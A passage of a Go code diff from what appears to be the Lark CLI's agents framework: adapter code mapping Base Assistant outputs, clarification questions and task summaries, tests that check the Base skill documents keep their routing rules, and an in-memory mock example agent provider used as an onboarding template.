+			if len(output.Data.Payload) == 0 || !json.Valid(output.Data.Payload) {
+				return nil, nil, invalidOutput(output, "data payload is invalid JSON")
+			}
+			partMetadata.Type = "data"
+			partMetadata.Data = map[string]interface{}{
+				"kind":           output.Data.Kind,
+				"schema_version": output.Data.SchemaVersion,
+				"payload":        append(json.RawMessage(nil), output.Data.Payload...),
+			}
+			parts = append(parts, partMetadata)
+		case "clarification":
+			if output.Clarification == nil {
+				return nil, nil, invalidOutput(output, "clarification output is missing clarification")
+			}
+		case "artifact":
+			if output.Artifact == nil {
+				return nil, nil, invalidOutput(output, "artifact output is missing artifact")
+			}
+			artifacts = append(artifacts, mapOutputArtifact(output))
+		default:
+			raw := output.Raw
+			if len(raw) == 0 {
+				var err error
+				raw, err = json.Marshal(output)
+				if err != nil {
+					return nil, nil, invalidOutputWithCause(output, "unknown output cannot be preserved", err)
+				}
+			}
+			partMetadata.Type = "data"
+			partMetadata.Data = append(json.RawMessage(nil), raw...)
+			parts = append(parts, partMetadata)
+		}
+	}
+	var messages []iagents.Message
+	if len(parts) > 0 {
+		messages = []iagents.Message{{Role: "agent", Parts: parts}}
+	}
+	return messages, artifacts, nil
+}
+
+func mapOutputArtifact(output adapterOutput) iagents.Artifact {
+	in := *output.Artifact
+	data := make(map[string]interface{}, 3)
+	if len(in.Resource) > 0 {
+		data["resource"] = in.Resource
+	}
+	if in.Revision != nil {
+		data["revision"] = *in.Revision
+	}
+	if len(in.Metadata) > 0 && string(in.Metadata) != "null" {
+		data["metadata"] = append(json.RawMessage(nil), in.Metadata...)
+	}
+	var details interface{}
+	if len(data) > 0 {
+		details = data
+	}
+	return iagents.Artifact{
+		ID:       in.ID,
+		OutputID: output.ID,
+		Source:   output.Source,
+		GroupID:  output.GroupID,
+		Kind:     in.Type,
+		Name:     in.Title,
+		Status:   in.Status,
+		Data:     details,
+	}
+}
+
+func latestPendingClarification(outputs []adapterOutput) *adapterOutput {
+	for i := len(outputs) - 1; i >= 0; i-- {
+		clarification := outputs[i].Clarification
+		if strings.EqualFold(outputs[i].Type, "clarification") && clarification != nil &&
+			clarification.Required && !clarification.Submitted {
+			return &outputs[i]
+		}
+	}
+	return nil
+}
+
+// mapInputRequired expands a pending clarification into ONE question group: the
+// unified contract answers the whole group atomically, so every still-open
+// question is surfaced together — top-level questions, each form's questions
+// (prompt prefixed with the form title), and each button set as a synthetic
+// action question (the clarification/form id is the action question id, each
+// button id an option). Questions with preselected values remain visible while
+// the card is pending: answered=true can describe a default selection, not a
+// submitted answer. IDs pass through verbatim — the backend mints CLI-legal
+// public ids and resolves them back; the CLI never rewrites them. Conditional
+// sub-questions are NOT answerable through the flat CLI model (answering a
+// hidden branch would be wrong), so their presence is a typed
+// failed_precondition here rather than a silent drop or a late backend rejection.
+func mapInputRequired(in adapterClarification) (*iagents.InputRequired, error) {
+	questions := make([]iagents.Question, 0)
+	actions := make([]iagents.Question, 0)
+
+	topQuestions, err := expandClarificationQuestions(in.Questions, "")
+	if err != nil {
+		return nil, err
+	}
+	questions = append(questions, topQuestions...)
+	if len(in.Buttons) > 0 {
+		actions = append(actions, buttonActionQuestion(in.ID, clarificationActionPrompt(in), in.Buttons))
+	}
+	for _, form := range in.Forms {
+		formQuestions, err := expandClarificationQuestions(form.Questions, form.Title)
+		if err != nil {
+			return nil, err
+		}
+		questions = append(questions, formQuestions...)
+		if len(form.Buttons) > 0 {
+			actions = append(actions, buttonActionQuestion(form.ID, form.Title, form.Buttons))
+		}
+	}
+	// Content questions first, then synthetic action buttons — a submit/skip
+	// action reads naturally after the questions it applies to.
+	questions = append(questions, actions...)
+
+	label := strings.TrimSpace(in.Title)
+	if len(questions) == 0 {
+		// A bare clarification with neither questions nor buttons: present the
+		// title (or a default) as one free-text question. The empty-title case is
+		// also covered centrally by NormalizeInputRequired.
+		prompt := label
+		if prompt == "" {
+			prompt = "Please provide more information"
+		}
+		questions = append(questions, iagents.Question{QuestionID: in.ID, Question: prompt})
+	}
+
+	return &iagents.InputRequired{Label: label, Questions: questions}, nil
+}
+
+// expandClarificationQuestions maps a pending question list into contract
+// Questions and rejects any question that carries conditional sub-questions
+// (unsupported through the flat CLI model this phase). Do not skip Answered
+// questions here: for an unsubmitted card that flag may only mean the backend
+// supplied a default or recommended value that the user can still change.
+func expandClarificationQuestions(questions []adapterClarificationQuestion, formTitle string) ([]iagents.Question, error) {
+	out := make([]iagents.Question, 0, len(questions))
+	for _, question := range questions {
+		if len(question.SubQuestions) > 0 {
+			return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
+				"base:assistant cannot answer a clarification with conditional sub-questions from the CLI").
+				WithHint("open this Base in the Feishu/Lark client to answer the nested question group")
+		}
+		out = append(out, questionFromClarification(question, formTitle))
+	}
+	return out, nil
+}
+
+func questionFromClarification(in adapterClarificationQuestion, formTitle string) iagents.Question {
+	options := make([]iagents.Option, 0, len(in.Options))
+	for _, option := range in.Options {
+		options = append(options, iagents.Option{
+			OptionID:    option.ID,
+			Label:       option.Label,
+			Description: option.Description,
+		})
+	}
+	return iagents.Question{
+		QuestionID:  in.ID,
+		Question:    joinPrompt(formTitle, in.Prompt),
+		MultiSelect: strings.EqualFold(in.Type, "multi_select") && len(options) > 0,
+		Options:     options,
+	}
+}
+
+// buttonActionQuestion turns a button set into one synthetic action question:
+// the clarification/form id is the question id, each button id an option. It has
+// no free-text fallback (a button set is a pure choice), and multi-select is off
+// (a button click is a single action).
+func buttonActionQuestion(id, prompt string, buttons []adapterClarificationButton) iagents.Question {
+	options := make([]iagents.Option, 0, len(buttons))
+	for _, button := range buttons {
+		options = append(options, iagents.Option{OptionID: button.ID, Label: button.Label})
+	}
+	if strings.TrimSpace(prompt) == "" {
+		prompt = "Select an action"
+	}
+	return iagents.Question{QuestionID: id, Question: prompt, Options: options}
+}
+
+func clarificationActionPrompt(in adapterClarification) string {
+	if in.DefaultAction != nil && in.DefaultAction.ButtonText != "" {
+		return joinPrompt(in.Title, in.DefaultAction.ButtonText)
+	}
+	return in.Title
+}
+
+func joinPrompt(parts ...string) string {
+	out := make([]string, 0, len(parts))
+	for _, part := range parts {
+		part = strings.TrimSpace(part)
+		if part == "" || (len(out) > 0 && out[len(out)-1] == part) {
+			continue
+		}
+		out = append(out, part)
+	}
+	return strings.Join(out, ": ")
+}
+
+func invalidOutput(output adapterOutput, reason string) error {
+	return errs.NewInternalError(errs.SubtypeInvalidResponse,
+		"Base Adapter returned invalid output %q (%s): %s", output.ID, output.Type, reason)
+}
+
+func invalidOutputWithCause(output adapterOutput, reason string, cause error) error {
+	return errs.NewInternalError(errs.SubtypeInvalidResponse,
+		"Base Adapter returned invalid output %q (%s): %s: %v", output.ID, output.Type, reason, cause).WithCause(cause)
+}
+
+func mapTaskSummary(in adapterTask) (iagents.TaskSummary, error) {
+	stateRaw := in.State
+	if stateRaw == "" {
+		stateRaw = in.Status
+	}
+	state, err := mapState(stateRaw, false)
+	if err != nil {
+		return iagents.TaskSummary{}, err
+	}
+	updatedAt, err := mapTime(in.UpdatedAt)
+	if err != nil {
+		return iagents.TaskSummary{}, err
+	}
+	summary := in.Summary
+	if summary == "" {
+		messages, mapErr := mapMessages(in.Messages)
+		if mapErr != nil {
+			return iagents.TaskSummary{}, mapErr
+		}
+		summary = lastText(messages)
+	}
+	return iagents.TaskSummary{
+		TaskID:     taskID(in),
+		ContextID:  in.ContextID,
+		State:      state,
+		IsTerminal: state.IsTerminal(),
+		UpdatedAt:  updatedAt,
+		Summary:    summary,
+	}, nil
+}
+
+func mapContextSummary(in adapterContext) (iagents.ContextSummary, error) {
+	createdAt, err := mapTime(in.CreatedAt)
+	if err != nil {
+		return iagents.ContextSummary{}, err
+	}
+	updatedAt, err := mapTime(in.UpdatedAt)
+	if err != nil {
+		return iagents.ContextSummary{}, err
+	}
+	return iagents.ContextSummary{
+		ContextID: contextID(in),
+		CreatedAt: createdAt,
+		UpdatedAt: updatedAt,
+		Title:     in.Title,
+	}, nil
+}
+
+func mapContextDetail(in adapterContext) (*iagents.ContextDetail, error) {
+	summary, err := mapContextSummary(in)
+	if err != nil {
+		return nil, err
+	}
+	detail := &iagents.ContextDetail{
+		ContextID: summary.ContextID,
+		CreatedAt: summary.CreatedAt,
+		UpdatedAt: summary.UpdatedAt,
+		Title:     summary.Title,
+		TaskCount: iagents.Int(len(in.Tasks)),
+	}
+	if len(in.Tasks) > 0 {
+		var active iagents.TaskSummary
+		for index, task := range in.Tasks {
+			candidate, mapErr := mapTaskSummary(task)
+			if mapErr != nil {
+				return nil, mapErr
+			}
+			if taskIsAwaitingInput(candidate) {
+				detail.AwaitingInput = true
+			}
+			if index == 0 || taskSummaryIsNewer(candidate, active) {
+				active = candidate
+			}
+		}
+		detail.ActiveTask = &active
+	}
+	return detail, nil
+}
+
+func taskSummaryIsNewer(candidate, current iagents.TaskSummary) bool {
+	if candidate.UpdatedAt != current.UpdatedAt {
+		if candidate.UpdatedAt == "" {
+			return false
+		}
+		if current.UpdatedAt == "" {
+			return true
+		}
+		return candidate.UpdatedAt > current.UpdatedAt
+	}
+	if taskIsAwaitingInput(candidate) != taskIsAwaitingInput(current) {
+		return taskIsAwaitingInput(candidate)
+	}
+	return taskIDIsNewer(candidate.TaskID, current.TaskID)
+}
+
+func taskIsAwaitingInput(task iagents.TaskSummary) bool {
+	return task.State == iagents.StateInputRequired || task.State == iagents.StateAuthRequired
+}
+
+func taskIDIsNewer(candidate, current string) bool {
+	candidateID, candidateErr := strconv.ParseUint(candidate, 10, 64)
+	currentID, currentErr := strconv.ParseUint(current, 10, 64)
+	if candidateErr == nil && currentErr == nil {
+		return candidateID > currentID
+	}
+	return candidate > current
+}
+
+func mapMessages(in []adapterMessage) ([]iagents.Message, error) {
+	out := make([]iagents.Message, 0, len(in))
+	for _, message := range in {
+		parts := make([]iagents.Part, 0, len(message.Parts)+1)
+		if message.Text != "" {
+			parts = append(parts, iagents.Part{Type: "text", Text: message.Text})
+		}
+		for _, part := range message.Parts {
+			mapped, err := mapPart(part)
+			if err != nil {
+				return nil, err
+			}
+			parts = append(parts, mapped)
+		}
+		role := message.Role
+		if role == "assistant" {
+			role = "agent"
+		}
+		out = append(out, iagents.Message{Role: role, Parts: parts})
+	}
+	return out, nil
+}
+
+func mapPart(in adapterPart) (iagents.Part, error) {
+	switch strings.ToLower(in.Type) {
+	case "text":
+		return iagents.Part{Type: "text", Text: in.Text}, nil
+	case "file":
+		return iagents.Part{Type: "file", Name: in.Name, URL: in.URL}, nil
+	case "data":
+		if len(in.Data) > 0 {
+			var data any
+			if err := json.Unmarshal(in.Data, &data); err != nil {
+				return iagents.Part{}, invalidMessage(err)
+			}
+			return iagents.Part{Type: "data", Data: data}, nil
+		}
+		if in.Text == "" {
+			return iagents.Part{Type: "data"}, nil
+		}
+		var data map[string]any
+		if err := json.Unmarshal([]byte(in.Text), &data); err != nil {
+			return iagents.Part{}, invalidMessage(err)
+		}
+		op, _ := data["operation_type"].(string)
+		content, contentIsString := data["content"].(string)
+		switch strings.ToLower(op) {
+		case "text", "answer", "message", "plain_text", "markdown":
+			if contentIsString {
+				return iagents.Part{Type: "text", Text: content}, nil
+			}
+		}
+		return iagents.Part{Type: "data", Data: data}, nil
+	default:
+		return iagents.Part{Type: "data", Data: map[string]any{
+			"type": in.Type, "text": in.Text, "name": in.Name, "url": in.URL,
+		}}, nil
+	}
+}
+
+func mapArtifacts(in []adapterArtifact) ([]iagents.Artifact, error) {
+	out := make([]iagents.Artifact, 0, len(in))
+	for _, item := range in {
+		text := item.Text
+		if strings.HasPrefix(strings.TrimSpace(text), "{") {
+			part, err := mapPart(adapterPart{Type: "data", Text: text})
+			if err != nil {
+				return nil, err
+			}
+			if part.Type == "text" {
+				text = part.Text
+			}
+		}
+		out = append(out, iagents.Artifact{ID: item.ID, Kind: item.Kind, Name: item.Name, URL: item.URL, Text: text})
+	}
+	return out, nil
+}
+
+func mapTime(raw json.RawMessage) (string, error) {
+	if len(raw) == 0 || string(raw) == "null" {
+		return "", nil
+	}
+	var unix int64
+	if err := json.Unmarshal(raw, &unix); err == nil {
+		return time.Unix(unix, 0).UTC().Format(time.RFC3339), nil
+	}
+	var value string
+	if err := json.Unmarshal(raw, &value); err != nil {
+		return "", errs.NewInternalError(errs.SubtypeInvalidResponse,
+			"Base Adapter returned invalid timestamp %s", string(raw)).WithCause(err)
+	}
+	if value == "" {
+		return "", nil
+	}
+	if n, err := strconv.ParseInt(value, 10, 64); err == nil {
+		return time.Unix(n, 0).UTC().Format(time.RFC3339), nil
+	}
+	parsed, err := time.Parse(time.RFC3339, value)
+	if err != nil {
+		return "", errs.NewInternalError(errs.SubtypeInvalidResponse,
+			"Base Adapter returned invalid timestamp %q", value).WithCause(err)
+	}
+	return parsed.UTC().Format(time.RFC3339), nil
+}
+
+func invalidMessage(cause error) error {
+	return errs.NewInternalError(errs.SubtypeInvalidResponse,
+		"Base Adapter returned an invalid embedded CliMessage: %v", cause).WithCause(cause)
+}
+
+func lastText(messages []iagents.Message) string {
+	for i := len(messages) - 1; i >= 0; i-- {
+		for j := len(messages[i].Parts) - 1; j >= 0; j-- {
+			if messages[i].Parts[j].Type == "text" {
+				return messages[i].Parts[j].Text
+			}
+		}
+	}
+	return ""
+}
+
+func mapResult(result adapterResult, action string) error {
+	if result.Result {
+		return nil
+	}
+	message := result.Reason
+	if message == "" {
+		message = result.Error.Message
+	}
+	if message == "" {
+		message = action + " failed"
+	}
+	switch strings.ToLower(result.Error.Category) {
+	case "not_found":
+		return errs.NewAPIError(errs.SubtypeNotFound, "%s: %s", action, message)
+	case "permission_denied", "forbidden":
+		return errs.NewPermissionError(errs.SubtypePermissionDenied, "%s: %s", action, message)
+	case "task_terminal", "failed_precondition":
+		return errs.NewValidationError(errs.SubtypeFailedPrecondition, "%s: %s", action, message)
+	case "conflict", "idempotency_conflict":
+		return errs.NewAPIError(errs.SubtypeConflict, "%s: %s", action, message)
+	case "rate_limit":
+		return errs.NewAPIError(errs.SubtypeRateLimit, "%s: %s", action, message).WithRetryable()
+	case "internal_route", "server_error":
+		return errs.NewAPIError(errs.SubtypeServerError, "%s: %s", action, message).WithRetryable()
+	default:
+		return errs.NewInternalError(errs.SubtypeInvalidResponse,
+			"Base Adapter returned an unknown business error category %q for %s", result.Error.Category, action)
+	}
+}

agents/base/skill_contract_test.go

@@ -0,0 +1,100 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package base
+
+import (
+	"os"
+	"strings"
+	"testing"
+)
+
+const (
+	baseSkillDoc      = "../../skills/lark-base/SKILL.md"
+	agentsSkillDoc    = "../../skills/lark-agents/SKILL.md"
+	baseProviderDoc   = "../../skills/lark-agents/references/providers/lark-agents-base.md"
+	dataAnalysisDoc   = "../../skills/lark-base/references/lark-base-data-analysis-sop.md"
+	dataQueryGuide    = "../../skills/lark-base/references/lark-base-data-query-guide.md"
+	dataQueryContract = "../../skills/lark-base/references/lark-base-data-query.md"
+)
+
+func readContractDoc(t *testing.T, path string) string {
+	t.Helper()
+	raw, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatalf("read contract doc %s: %v", path, err)
+	}
+	return string(raw)
+}
+
+func requireContractText(t *testing.T, doc, path string, values ...string) {
+	t.Helper()
+	for _, value := range values {
+		if !strings.Contains(doc, value) {
+			t.Errorf("%s must preserve routing contract %q", path, value)
+		}
+	}
+}
+
+func TestBaseSkillRoutesBeforeChoosingACommand(t *testing.T) {
+	doc := readContractDoc(t, baseSkillDoc)
+	routeAt := strings.Index(doc, "## 先路由，再执行")
+	tokenAt := strings.Index(doc, "## 获取 Base Token 和所需 ID")
+	commandAt := strings.Index(doc, "## CLI 快速路由（仅在判定 CLI 后）")
+	if routeAt < 0 || tokenAt < 0 || commandAt < 0 || !(routeAt < tokenAt && tokenAt < commandAt) {
+		t.Fatalf("routing must precede resource resolution and CLI command selection: route=%d token=%d command=%d", routeAt, tokenAt, commandAt)
+	}
+
+	requireContractText(t, doc, baseSkillDoc,
+		"version: 1.3.0",
+		"用户明确要求使用 Agent 或明确指定某条 Base CLI 命令时尊重其选择",
+		"数据检索与分析",
+		"一次新增 ≥2 个字段",
+		"字段改类型、仪表盘组件等组件改类型",
+		"记录新增、修改、删除；目标 ID/筛选条件和值明确的批量写入",
+		"查一条记录也属于此类",
+		"混合意图只要包含数据检索分析、复杂建设或类型变更，整体走 `base:assistant`",
+		"建设类 Agent 请求没有现成 Base",
+		"数据查询/分析没有目标 Base",
+	)
+	if strings.Contains(doc, "| 一次性聚合统计 | `+data-query`") {
+		t.Fatal("natural-language aggregation must not route to +data-query by default")
+	}
+}
+
+func TestBaseAgentHandoffUsesOnePublicAssistant(t *testing.T) {
+	agentsDoc := readContractDoc(t, agentsSkillDoc)
+	providerDoc := readContractDoc(t, baseProviderDoc)
+
+	requireContractText(t, agentsDoc, agentsSkillDoc,
+		"version: 1.3.1",
+		"用户明确指定 Agent / `base:assistant`",
+		"由 `lark-base` 先按产品规则分流",
+		"首次读 Card → 校验身份/scope/参数 → `send` → `task get --watch` → 必要时 `--answer`",
+	)
+	requireContractText(t, providerDoc, baseProviderDoc,
+		"对外只暴露统一 Base Assistant",
+		"Card 只做能力与参数校验，不再次判断建设/分析类型",
+		"lark-cli agents card base:assistant --operation all --as user --format json",
+		"结构化 `input_required` 回答",
+		"Card、身份、scope 或 Assistant 服务失败时不静默改走 Base CLI",
+		"`has_more` / `next_cursor` 分页 envelope",
+	)
+
+	publicDocs := agentsDoc + "\n" + providerDoc + "\n" + readContractDoc(t, baseSkillDoc)
+	for _, forbidden := range []string{"Building Agent", "Analysis Agent"} {
+		if strings.Contains(publicDocs, forbidden) {
+			t.Errorf("public routing docs expose internal child name %q", forbidden)
+		}
+	}
+}
+
+func TestBaseQueryReferencesDoNotBypassAssistantRouting(t *testing.T) {
+	for _, path := range []string{dataAnalysisDoc, dataQueryGuide, dataQueryContract} {
+		doc := readContractDoc(t, path)
+		requireContractText(t, doc, path,
+			"base:assistant",
+			"默认路由",
+		)
+	}
+}

agents/example/example.go

@@ -0,0 +1,402 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Package example is the in-repo agent provider onboarding template and offline
+// demo backend: a hypothetical example business domain whose data / calls are
+// entirely in-memory mocks, with zero network. It has three roles:
+//
+//  1. A copy-start point for new integrators — copy the package, rename the
+//     scheme, write plain hook funcs, add one line to agent/register.go. There is
+//     no Factory, no Deps, no probe, no Kind field.
+//  2. The command tree's offline demo backend — the full agent
+//     list/card/send/task/context chain runs for real without any platform config.
+//  3. A stable mock scheme for cmd-layer tests.
+//
+// The whole provider is a declarative agents.Provider value: metadata + a catalog
+// of agents.AgentSpec units. Each spec's capability set is exactly the hooks it
+// wires (the framework derives the card matrix from that), so echo (minimal) and
+// reporter (full) differ by DATA, not by a Factory branch.
+package example
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// Provider is the whole declaration. The Catalog set makes this a catalog-type
+// provider; the framework derives enumeration (agents list example), the
+// unknown-id error, and each agent's card matrix from this data.
+func Provider() agents.Provider {
+	return agents.Provider{
+		Scheme:        "example",
+		Label:         "Example 演示 agent（内存 mock，零网络）",
+		AgentIDSource: "运行 lark-cli agents list example 查看内置演示 agent 及其 agent_ref（无需任何平台配置）",
+		Identities:    []agents.IdentitySpec{{Type: agents.IdentityUser}, {Type: agents.IdentityBot}},
+		// RequiredScopes nil: the mock calls no OAPI, so scope preflight always passes.
+		Catalog: []agents.AgentSpec{echoSpec, reporterSpec, plannerSpec},
+	}
+}
+
+// echoSpec is the minimal set: it wires Send/GetTask plus the read verbs and
+// NOTHING else, so its card honestly shows task_cancel / artifact_download /
+// file_input = false. Capability IS exactly the wired hooks — there is no bool
+// matrix and no capability-refusal code (the command layer gates unwired hooks).
+var echoSpec = agents.AgentSpec{
+	ID:            "echo",
+	Name:          "复读机",
+	Description:   "把你发的话原样复读一遍（同一会话续发时带轮次，证明上下文记忆）。最小能力集示范。",
+	Send:          agents.SendOp{Handler: echoSend},
+	GetTask:       agents.TaskGetOp{Handler: getTask},
+	ListTasks:     agents.TaskListOp{Handler: listTasks},
+	ListContexts:  agents.ContextListOp{Handler: listContexts},
+	GetContext:    agents.ContextGetOp{Handler: getContext},
+	DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
+}
+
+// reporterSpec is the full set: it additionally wires CancelTask +
+// DownloadArtifact and declares the FileInput/InputRequired behavioral flags. The
+// difference between the two agents is data you read top-to-bottom, not a branch
+// inside a Factory.
+// reporterSendParams is reporter's typed view of its send params — the
+// BindParams copy-start template. agenttest.CheckParamsBinding locks the tags
+// against the declaration below in example_test.go.
+type reporterSendParams struct {
+	ReportFormat string `param:"report_format"`
+	Quarters     int64  `param:"quarters"`
+	// Render binds the object param's leaves（点路径/JSON 两通道归一后的
+	// "render.*" 键）——嵌套 struct + tag 即完成拼装。
+	Render renderOpts `param:"render"`
+}
+
+type renderOpts struct {
+	Theme     string `param:"theme"`
+	Watermark bool   `param:"watermark"`
+}
+
+var reporterSpec = agents.AgentSpec{
+	ID:          "reporter",
+	Name:        "报表生成器",
+	Description: "对任意请求产出一份内联 CSV 报表 artifact，示范 artifact 下载与任务取消链路。",
+	FileInput:   true,
+	// InputRequired is deliberately NOT declared: reporter never pauses (tasks
+	// are born terminal), and a question-asking flag would obligate an
+	// every-brand CancelTask (§6.8 registration check) — its CancelTask is the
+	// brand-scoping demo below. The HITL demo lives on planner.
+	// Send declares demo business params covering the whole declaration
+	// surface: enum + default (report_format), integer + min/max + default
+	// (quarters). Both optional with defaults, so a bare send behaves exactly
+	// like before — the params exist to be a copy-start template and to make
+	// the validation/card/meta.next chain exercisable offline.
+	Send: agents.SendOp{
+		Params: []agents.CardParam{
+			{Name: "report_format", Enum: []string{"csv", "xlsx"}, Default: "csv",
+				Desc: "报表输出格式"},
+			{Name: "quarters", Type: "integer", Min: agents.Float(1), Max: agents.Float(12), Default: "4",
+				Desc: "回溯季度数"},
+			// object 参数演示：点路径 --param render.theme=dark 或 JSON 整值
+			// --param render='{"theme":"dark"}' 两通道等价，框架归一后 hook 只见
+			// 平铺 "render.*" 键。
+			{Name: "render", Type: "object", Desc: "渲染选项", Fields: []agents.CardParam{
+				{Name: "theme", Enum: []string{"light", "dark"}, Default: "light", Desc: "配色主题"},
+				{Name: "watermark", Type: "boolean", Default: "false", Desc: "是否加水印"},
+			}},
+		},
+		Handler: reporterSend,
+	},
+	GetTask:       agents.TaskGetOp{Handler: getTask},
+	ListTasks:     agents.TaskListOp{Handler: listTasks},
+	ListContexts:  agents.ContextListOp{Handler: listContexts},
+	GetContext:    agents.ContextGetOp{Handler: getContext},
+	DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
+	// task_cancel is scoped to feishu — a real brand-scoped capability demo:
+	// under lark reporter's card shows task_cancel=false and
+	// `agents task cancel example:reporter` is gated with unavailable_for_brand
+	// (the whole agent stays visible under both brands — only this op is scoped).
+	CancelTask:       agents.TaskCancelOp{Brands: []core.LarkBrand{core.BrandFeishu}, Handler: cancelTask},
+	DownloadArtifact: agents.ArtifactDownloadOp{Handler: downloadArtifact},
+}
+
+// plannerSpec demonstrates the input_required HITL flow (design doc §3-§8):
+// the first send pauses on a THREE-question group (single-select + free-text +
+// multi-select with a skip option), answered atomically in one send via
+// --answer; a second submission gets failed_precondition + resolved_answers.
+// It wires CancelTask because a question-asking agent must be walkaway-able
+// (§6.8 — Register enforces this), and the read verbs; not artifact.
+var plannerSpec = agents.AgentSpec{
+	ID:            "planner",
+	Name:          "报表规划器",
+	Description:   "先弹一组确认问题（单选/自由文本/多选，input_required），你用 --answer 一次答清后再出报表。示范 HITL 问题组链路。",
+	InputRequired: true,
+	Send:          agents.SendOp{Handler: plannerSend},
+	GetTask:       agents.TaskGetOp{Handler: getTask},
+	ListTasks:     agents.TaskListOp{Handler: listTasks},
+	CancelTask:    agents.TaskCancelOp{Handler: cancelTask},
+	ListContexts:  agents.ContextListOp{Handler: listContexts},
+	GetContext:    agents.ContextGetOp{Handler: getContext},
+	DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
+}
+
+// plannerSend pauses a fresh request on a question group, or applies the
+// --answer submission (continuing the group's own task). A bare --text aimed
+// at the paused task is rejected with guidance — NEVER forked into a sibling
+// task (§6.5): the group contains select questions, so free text cannot be
+// consumed as the whole answer here.
+func plannerSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
+	if len(in.Answers) > 0 {
+		if in.TaskID == "" {
+			// The CLI guard already enforces this; the belt holds for direct hook calls.
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"回答问题组需提供 --task-id").WithParam("--task-id")
+		}
+		task, err := store.answerGroup(rt.AgentID(), in.ContextID, in.TaskID, in.Answers, in.Text)
+		if err != nil {
+			return nil, err
+		}
+		return &task, nil
+	}
+	if in.TaskID != "" {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"该任务在等待问题组答复，且组内含选择题，无法用 --text 自由作答").
+			WithParam("--text").
+			WithHint("用 lark-cli agents task get example:%s %s 查看问题组，按 meta.next 的 --answer 模板作答", rt.AgentID(), in.TaskID)
+	}
+	ctxID := in.ContextID
+	if ctxID == "" {
+		var err error
+		ctxID, err = store.createContext(rt.AgentID(), truncateTitle(in.Text))
+		if err != nil {
+			return nil, err
+		}
+	}
+	// Mint the group's question ids at CREATION time with a fresh per-group
+	// suffix (§6.2): the group is persisted with these ids and every later
+	// task get echoes them verbatim; a successor group would mint a different
+	// suffix, which is the stale-retry protection.
+	questions := []agents.Question{
+		{Question: "按什么维度拆分？", Options: []agents.Option{
+			{OptionID: "by_region", Label: "按大区", Description: "华东/华北/华南汇总"},
+			{OptionID: "by_category", Label: "按品类", Description: "SKU 一级类目"},
+		}},
+		{Question: "时间范围？"},
+		{Question: "包含哪些区域？", MultiSelect: true, Options: []agents.Option{
+			{OptionID: "east", Label: "华东"},
+			{OptionID: "north", Label: "华北"},
+			{OptionID: "skip", Label: "由 agent 决定", Description: "与其它选项互斥"},
+		}},
+	}
+	agents.MintQuestionIDs(questions, newGroupSuffix())
+	task, err := store.createTask(rt.AgentID(), ctxID, func(int) agents.AgentTask {
+		return agents.AgentTask{
+			TaskID:    newID("task"),
+			ContextID: ctxID,
+			State:     agents.StateInputRequired,
+			Messages: []agents.Message{
+				{Role: "user", Parts: []agents.Part{{Type: "text", Text: in.Text}}},
+				{Role: "agent", Parts: []agents.Part{{Type: "text", Text: "生成报表前需确认以下口径。"}}},
+			},
+			InputRequired: &agents.InputRequired{
+				Label:       "报表生成确认",
+				Description: "生成前需确认以下口径",
+				Questions:   questions,
+			},
+		}
+	})
+	if err != nil {
+		return nil, err
+	}
+	return &task, nil
+}
+
+// ── Hooks: plain funcs. The addressed agent comes from rt.AgentID() (request
+//    data, replacing the old state.agentID). The mock ignores rt's network
+//    methods (CallAPI/CallMultipart/IsBot). There is NO catalog.Lookup guard
+//    anywhere — the framework's LookupSpec validated ref→spec offline before
+//    dispatch, so an unknown id never reaches a hook. ──
+
+// echoSend echoes the input; from round 2 on it appends a round marker to prove
+// across commands that context memory works.
+func echoSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
+	return newTurn(rt.AgentID(), in, func(round int) (string, []agents.Artifact) {
+		reply := in.Text
+		if round > 1 {
+			reply = fmt.Sprintf("%s（第 %d 轮）", in.Text, round)
+		}
+		return reply, nil
+	})
+}
+
+// reporterSend produces a fixed inline CSV artifact for any request. It reads
+// its demo params through BindParams — the typed, compile-checked consumption
+// template (rt.Params() raw lookups work too but are typo-prone). With the
+// declaration defaults (csv/4) the reply is byte-identical to the historical
+// one; a hook invoked outside the framework (unit tests calling it directly)
+// sees an empty param map and the same historical reply.
+func reporterSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
+	p, err := agents.BindParams[reporterSendParams](rt)
+	if err != nil {
+		return nil, err
+	}
+	return newTurn(rt.AgentID(), in, func(round int) (string, []agents.Artifact) {
+		reply := "报表已生成：quarterly_report.csv（见 artifacts，用 task get --artifact <id> -o <path> 下载）"
+		if p.ReportFormat != "" && p.ReportFormat != "csv" {
+			reply = fmt.Sprintf("报表已生成（%s 格式，回溯 %d 个季度）：quarterly_report.%s（见 artifacts，用 task get --artifact <id> -o <path> 下载）",
+				p.ReportFormat, p.Quarters, p.ReportFormat)
+		}
+		if p.Render.Watermark {
+			reply = fmt.Sprintf("%s（%s 主题，含水印）", reply, p.Render.Theme)
+		}
+		if n := len(in.Files); n > 0 {
+			reply = fmt.Sprintf("已收到 %d 个附件；%s", n, reply)
+		}
+		// Name/Mime 在 GetTask 阶段就可见（下载前），调用方能直接据此定 -o 后缀，
+		// 不必先猜再靠下载后的 suggested_name 纠正——真实 provider 应尽量同样前置。
+		ext, mime := "csv", "text/csv"
+		if p.ReportFormat == "xlsx" {
+			ext, mime = "xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
+		}
+		return reply, []agents.Artifact{{ID: newID("art"), Kind: "text", Name: "quarterly_report." + ext, Mime: mime}}
+	})
+}
+
+// newTurn factors the shared store flow: start/continue a context, then create a
+// task whose body the caller builds per round. The mock task is instantly
+// terminal, so there is no "feed input to a running task" scenario — continuing
+// via --task-id returns failed_precondition (the request is valid but the target
+// state does not satisfy it, so the AI knows to start a new task instead).
+func newTurn(agentID string, in agents.SendInput, build func(round int) (reply string, artifacts []agents.Artifact)) (*agents.AgentTask, error) {
